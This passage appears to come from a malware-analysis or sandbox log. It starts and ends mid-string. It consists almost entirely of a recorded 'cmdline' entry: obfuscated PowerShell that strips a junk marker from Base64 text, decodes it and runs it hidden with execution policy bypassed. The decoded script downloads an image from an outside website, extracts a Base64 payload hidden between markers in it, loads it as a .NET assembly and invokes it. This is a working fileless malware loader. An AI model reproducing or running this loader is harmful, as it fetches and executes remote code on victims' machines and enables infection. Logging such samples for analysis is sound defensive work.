RKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBUtPomkONRKGUtPomkONRKetPomkONRKB0tPomkONRKC4tPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKE8tPomkONRKZgtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBGtPomkONRKGwtPomkONRKYQBntPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFQtPomkONRKZQB4tPomkONRKHQtPomkONRKLgBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKTwBmtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKptPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKZwBltPomkONRKCtPomkONRKtPomkONRKMtPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYQButPomkONRKGQtPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRKttPomkONRKGctPomkONRKdtPomkONRKtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCtPomkONRKtPomkONRKKwtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEYtPomkONRKbtPomkONRKBhtPomkONRKGctPomkONRKLgBMtPomkONRKGUtPomkONRKbgBntPomkONRKHQtPomkONRKatPomkONRKtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGItPomkONRKYQBztPomkONRKGUtPomkONRKNgtPomkONRK0tPomkONRKEwtPomkONRKZQButPomkONRKGctPomkONRKdtPomkONRKBotPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGUtPomkONRKbgBktPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKQwBvtPomkONRKG0tPomkONRKbQBhtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG4tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFMtPomkONRKdQBitPomkONRKHMtPomkONRKdtPomkONRKBytPomkONRKGktPomkONRKbgBntPomkONRKCgtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKTtPomkONRKBltPomkONRKG4tPomkONRKZwB0tPomkONRKGgtPomkONRKKQtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgtPomkONRKntPomkONRKCstPomkONRKJwB5tPomkONRKHQtPomkONRKZQBztPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKFstPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBDtPomkONRKG8tPomkONRKbgtPomkONRKntPomkONRKCstPomkONRKJwB2tPomkONRKGUtPomkONRKcgB0tPomkONRKF0tPomkONRKOgtPomkONRK6tPomkONRKEYtPomkONRKcgBvtPomkONRKG0tPomkONRKQgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBitPomkONRKGEtPomkONRKcwBltPomkONRKDYtPomkONRKNtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKG8tPomkONRKbQBttPomkONRKGEtPomkONRKbgBktPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBstPomkONRKG8tPomkONRKYQBktPomkONRKGUtPomkONRKZtPomkONRKBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKWwBTtPomkONRKHktPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKcwB0tPomkONRKGUtPomkONRKbQtPomkONRKutPomkONRKFItPomkONRKZQBmtPomkONRKGwtPomkONRKZQBjtPomkONRKHQtPomkONRKaQBvtPomkONRKG4tPomkONRKLgBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKXQtPomkONRK6tPomkONRKDotPomkONRKTtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZQBktPomkONRKEEtPomkONRKcwBztPomkONRKGUtPomkONRKbQBitPomkONRKGwtPomkONRKeQtPomkONRKutPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKEctPomkONRKZQB0tPomkONRKFQtPomkONRKeQBwtPomkONRKGUtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBGtPomkONRKGktPomkONRKYgBltPomkONRKHItPomkONRKLgBItPomkONRKG8tPomkONRKbQBltPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBttPomkONRKGUtPomkONRKdtPomkONRKBotPomkONRKG8tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKC4tPomkONRKRwBltPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHQtPomkONRKTQBltPomkONRKHQtPomkONRKatPomkONRKBvtPomkONRKGQtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBWtPomkONRKEEtPomkONRKSQBotPomkONRKGktPomkONRKRQtPomkONRKptPomkONRKC4tPomkONRKSQButPomkONRKHYtPomkONRKbwBrtPomkONRKGUtPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKButPomkONRKHUtPomkONRKbtPomkONRKBstPomkONRKCwtPomkONRKItPomkONRKBbtPomkONRKG8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKFstPomkONRKXQBdtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBktPomkONRKEgtPomkONRKatPomkONRKtPomkONRKwtPomkONRKEwtPomkONRKawBGtPomkONRKE4tPomkONRKUwtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKDgtPomkONRKdwBNtPomkONRKEQtPomkONRKVQB2tPomkONRKE4tPomkONRKagBrtPomkONRKHgtPomkONRKTtPomkONRKBqtPomkONRKFUtPomkONRKeQBNtPomkONRKGktPomkONRKNtPomkONRKtPomkONRKztPomkONRKE0tPomkONRKagBFtPomkONRKHUtPomkONRKTwBEtPomkONRKGctPomkONRKetPomkONRKBMtPomkONRKHktPomkONRKOtPomkONRKtPomkONRK2tPomkONRKGMtPomkONRKStPomkONRKBStPomkONRKDtPomkONRKtPomkONRKYQBBtPomkONRKD0tPomkONRKPQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKGktPomkONRKRQtPomkONRKgtPomkONRKCwtPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKytPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGgtPomkONRKaQBFtPomkONRKHItPomkONRKZQBntPomkONRKGEtPomkONRKcwBttPomkONRKGgtPomkONRKaQBFtPomkONRKCtPomkONRKtPomkONRKLtPomkONRKtPomkONRKgtPomkONRKGgtPomkONRKaQBFtPomkONRKDUtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKItPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKQwtPomkONRK6tPomkONRKFMtPomkONRKYgBDtPomkONRKFtPomkONRKtPomkONRKcgBvtPomkONRKGctPomkONRKcgBhtPomkONRKG0tPomkONRKRtPomkONRKBhtPomkONRKHQtPomkONRKYQBTtPomkONRKGItPomkONRKQwtPomkONRKntPomkONRKCstPomkONRKJwBotPomkONRKGktPomkONRKRQtPomkONRKstPomkONRKCtPomkONRKtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKatPomkONRKB0tPomkONRKG0tPomkONRKbtPomkONRKBitPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKKQtPomkONRKntPomkONRKCktPomkONRKItPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYwBStPomkONRKEUtPomkONRKctPomkONRKBMtPomkONRKEEtPomkONRKQwBltPomkONRKCtPomkONRKtPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCwtPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKMwtPomkONRK2tPomkONRKCtPomkONRKtPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKKtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKxtPomkONRKDtPomkONRKtPomkONRKNtPomkONRKtPomkONRKrtPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDEtPomkONRKMtPomkONRKtPomkONRK1tPomkONRKCstPomkONRKWwBDtPomkONRKEgtPomkONRKQQBStPomkONRKF0tPomkONRKNgtPomkONRK5tPomkONRKCktPomkONRKLtPomkONRKBbtPomkONRKEMtPomkONRKStPomkONRKBBtPomkONRKFItPomkONRKXQtPomkONRKztPomkONRKDktPomkONRKItPomkONRKtPomkONRKttPomkONRKFItPomkONRKZQBwtPomkONRKEwtPomkONRKQQBDtPomkONRKGUtPomkONRKItPomkONRKtPomkONRKgtPomkONRKCctPomkONRKUwBitPomkONRKEMtPomkONRKJwtPomkONRKstPomkONRKFstPomkONRKQwBItPomkONRKEEtPomkONRKUgBdtPomkONRKDktPomkONRKMgtPomkONRKptPomkONRKCktPomkONRK';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('tPomkONRK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" |
cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'SQButPomkONRKFYtPomkONRKTwBLtPomkONRKGUtPomkONRKLQBltPomkONRKFgtPomkONRKUtPomkONRKBytPomkONRKGUtPomkONRKUwBTtPomkONRKGktPomkONRKbwBOtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKtPomkONRKgtPomkONRKCgtPomkONRKKtPomkONRKtPomkONRKntPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQtPomkONRKntPomkONRKCstPomkONRKJwBVtPomkONRKHItPomkONRKbtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQBotPomkONRKHQtPomkONRKdtPomkONRKBwtPomkONRKHMtPomkONRKOgtPomkONRKvtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKC8tPomkONRKdQBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZtPomkONRKBltPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQButPomkONRKHMtPomkONRKLgBjtPomkONRKG8tPomkONRKbQtPomkONRKutPomkONRKGItPomkONRKcgtPomkONRKvtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBztPomkONRKC8tPomkONRKMtPomkONRKtPomkONRKwtPomkONRKDQtPomkONRKLwtPomkONRK2tPomkONRKDUtPomkONRKNtPomkONRKtPomkONRKvtPomkONRKDUtPomkONRKMwtPomkONRK2tPomkONRKC8tPomkONRKbwBytPomkONRKGktPomkONRKZwBptPomkONRKG4tPomkONRKYQBstPomkONRKC8tPomkONRKbgBltPomkONRKHctPomkONRKXwBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKLgtPomkONRKntPomkONRKCstPomkONRKJwBqtPomkONRKHtPomkONRKtPomkONRKZwtPomkONRK/tPomkONRKDEtPomkONRKNgtPomkONRK5tPomkONRKDgtPomkONRKOQtPomkONRK1tPomkONRKDctPomkONRKNwtPomkONRK1tPomkONRKDtPomkONRKtPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBOtPomkONRKGUtPomkONRKdwtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRKttPomkONRKE8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKCtPomkONRKtPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBOtPomkONRKGUtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFctPomkONRKZQBitPomkONRKEMtPomkONRKbtPomkONRKBptPomkONRKGUtPomkONRKbgB0tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKDstPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKEItPomkONRKeQB0tPomkONRKGUtPomkONRKcwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB3tPomkONRKGUtPomkONRKYgBDtPomkONRKGwtPomkONRKaQBltPomkONRKG4tPomkONRKdtPomkONRKtPomkONRKutPomkONRKEQtPomkONRKbwB3tPomkONRKG4tPomkONRKbtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKBEtPomkONRKGEtPomkONRKdtPomkONRKBhtPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFUtPomkONRKcgBstPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBbtPomkONRKFMtPomkONRKeQBztPomkONRKHQtPomkONRKZQBttPomkONRKC4tPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKEUtPomkONRKbgBjtPomkONRKG8tPomkONRKZtPomkONRKBptPomkONRKG4tPomkONRKZwBdtPomkONRKDotPomkONRKOgBVtPomkONRKFQtPomkONRKRgtPomkONRK4tPomkONRKC4tPomkONRKRwBltPomkONRKHQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKYQBytPomkONRKHQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRKntPomkONRKCstPomkONRKJwtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBTtPomkONRKFQtPomkONRKQQBStPomkONRKFQtPomkONRKPgtPomkONRK+tPomkONRKGgtPomkONRKaQBFtPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKGEtPomkONRKZwtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKBotPomkONRKGktPomkONRKRQtPomkONRK8tPomkONRKDwtPomkONRKQgBBtPomkONRKFMtPomkONRKRQtPomkONRK2tPomkONRKDQtPomkONRKXwBFtPomkONRKE4tPomkONRKRtPomkONRKtPomkONRK+tPomkONRKD4tPomkONRKatPomkONRKBptPomkONRKEUtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGktPomkONRKbQBhtPomkONRKGctPomkONRKZQBUtPomkONRKGUtPomkONRKetPomkONRKB0tPomkONRKC4tPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKE8tPomkONRKZgtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBGtPomkONRKGwtPomkONRKYQBntPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKaQBttPomkONRKGEtPomkONRKZwBltPomkONRKFQtPomkONRKZQB4tPomkONRKHQtPomkONRKLgBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKTwBmtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCgtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKZQButPomkONRKGQtPomkONRKRgBstPomkONRKGEtPomkONRKZwtPomkONRKptPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKZwBltPomkONRKCtPomkONRKtPomkONRKMtPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKYQButPomkONRKGQtPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBltPomkONRKG4tPomkONRKZtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKItPomkONRKtPomkONRKttPomkONRKGctPomkONRKdtPomkONRKtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKHMtPomkONRKdtPomkONRKBhtPomkONRKHItPomkONRKdtPomkONRKBJtPomkONRKG4tPomkONRKZtPomkONRKBltPomkONRKHgtPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKCtPomkONRKtPomkONRKKwtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEYtPomkONRKbtPomkONRKBhtPomkONRKGctPomkONRKLgBMtPomkONRKGUtPomkONRKbgBntPomkONRKHQtPomkONRKatPomkONRKtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGItPomkONRKYQBztPomkONRKGUtPomkONRKNgtPomkONRK0tPomkONRKEwtPomkONRKZQButPomkONRKGctPomkONRKdtPomkONRKBotPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGUtPomkONRKbgBktPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKgtPomkONRKC0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKctPomkONRKBztPomkONRKHQtPomkONRKYQBytPomkONRKHQtPomkONRKSQButPomkONRKGQtPomkONRKZQB4tPomkONRKDstPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKQwBvtPomkONRKG0tPomkONRKbQBhtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG4tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBptPomkONRKG0tPomkONRKYQBntPomkONRKGUtPomkONRKVtPomkONRKBltPomkONRKHgtPomkONRKdtPomkONRKtPomkONRKutPomkONRKFMtPomkONRKdQBitPomkONRKHMtPomkONRKdtPomkONRKBytPomkONRKGktPomkONRKbgBntPomkONRKCgtPomkONRKegBMtPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHtPomkONRKtPomkONRKcwB0tPomkONRKGEtPomkONRKcgB0tPomkONRKEktPomkONRKbgBktPomkONRKGUtPomkONRKetPomkONRKtPomkONRKstPomkONRKCtPomkONRKtPomkONRKegBMtPomkONRKHtPomkONRKtPomkONRKYgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKTtPomkONRKBltPomkONRKG4tPomkONRKZwB0tPomkONRKGgtPomkONRKKQtPomkONRK7tPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgtPomkONRKntPomkONRKCstPomkONRKJwB5tPomkONRKHQtPomkONRKZQBztPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKFstPomkONRKUwB5tPomkONRKHMtPomkONRKdtPomkONRKBltPomkONRKG0tPomkONRKLgBDtPomkONRKG8tPomkONRKbgtPomkONRKntPomkONRKCstPomkONRKJwB2tPomkONRKGUtPomkONRKcgB0tPomkONRKF0tPomkONRKOgtPomkONRK6tPomkONRKEYtPomkONRKcgBvtPomkONRKG0tPomkONRKQgBhtPomkONRKHMtPomkONRKZQtPomkONRK2tPomkONRKDQtPomkONRKUwB0tPomkONRKHItPomkONRKaQButPomkONRKGctPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKBitPomkONRKGEtPomkONRKcwBltPomkONRKDYtPomkONRKNtPomkONRKtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKG8tPomkONRKbQBttPomkONRKGEtPomkONRKbgBktPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBstPomkONRKG8tPomkONRKYQBktPomkONRKGUtPomkONRKZtPomkONRKBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKItPomkONRKtPomkONRK9tPomkONRKCtPomkONRKtPomkONRKWwBTtPomkONRKHktPomkONRKJwtPomkONRKrtPomkONRKCctPomkONRKcwB0tPomkONRKGUtPomkONRKbQtPomkONRKutPomkONRKFItPomkONRKZQBmtPomkONRKGwtPomkONRKZQBjtPomkONRKHQtPomkONRKaQBvtPomkONRKG4tPomkONRKLgBBtPomkONRKHMtPomkONRKcwBltPomkONRKG0tPomkONRKYgBstPomkONRKHktPomkONRKXQtPomkONRK6tPomkONRKDotPomkONRKTtPomkONRKBvtPomkONRKGEtPomkONRKZtPomkONRKtPomkONRKotPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGMtPomkONRKbwBttPomkONRKG0tPomkONRKYQButPomkONRKGQtPomkONRKQgB5tPomkONRKHQtPomkONRKZQBztPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKCtPomkONRKtPomkONRKPQtPomkONRKgtPomkONRKHotPomkONRKTtPomkONRKBwtPomkONRKGwtPomkONRKbwBhtPomkONRKGQtPomkONRKZQBktPomkONRKEEtPomkONRKcwBztPomkONRKGUtPomkONRKbQBitPomkONRKGwtPomkONRKeQtPomkONRKutPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKEctPomkONRKZQB0tPomkONRKFQtPomkONRKeQBwtPomkONRKGUtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBGtPomkONRKGktPomkONRKYgBltPomkONRKHItPomkONRKLgBItPomkONRKG8tPomkONRKbQBltPomkONRKGgtPomkONRKaQBFtPomkONRKCktPomkONRKOwB6tPomkONRKEwtPomkONRKctPomkONRKBttPomkONRKGUtPomkONRKdtPomkONRKBotPomkONRKG8tPomkONRKZtPomkONRKtPomkONRKgtPomkONRKD0tPomkONRKItPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKB0tPomkONRKHktPomkONRKctPomkONRKBltPomkONRKC4tPomkONRKRwBltPomkONRKCctPomkONRKKwtPomkONRKntPomkONRKHQtPomkONRKTQBltPomkONRKHQtPomkONRKatPomkONRKBvtPomkONRKGQtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBWtPomkONRKEEtPomkONRKSQBotPomkONRKGktPomkONRKRQtPomkONRKptPomkONRKC4tPomkONRKSQButPomkONRKHYtPomkONRKbwBrtPomkONRKGUtPomkONRKKtPomkONRKB6tPomkONRKEwtPomkONRKctPomkONRKButPomkONRKHUtPomkONRKbtPomkONRKBstPomkONRKCwtPomkONRKItPomkONRKBbtPomkONRKG8tPomkONRKYgBqtPomkONRKGUtPomkONRKYwB0tPomkONRKFstPomkONRKXQBdtPomkONRKCtPomkONRKtPomkONRKKtPomkONRKBotPomkONRKGktPomkONRKRQBktPomkONRKEgtPomkONRKatPomkONRKtPomkONRKwtPomkONRKEwtPomkONRKawBGtPomkONRKE4tPomkONRKUwtPomkONRKntPomkONRKCstPomkONRKJwBDtPomkONRKDgtPomkONRKdwBNtPomkONRKEQtPomkONRKVQB2tPomkONRKE4tP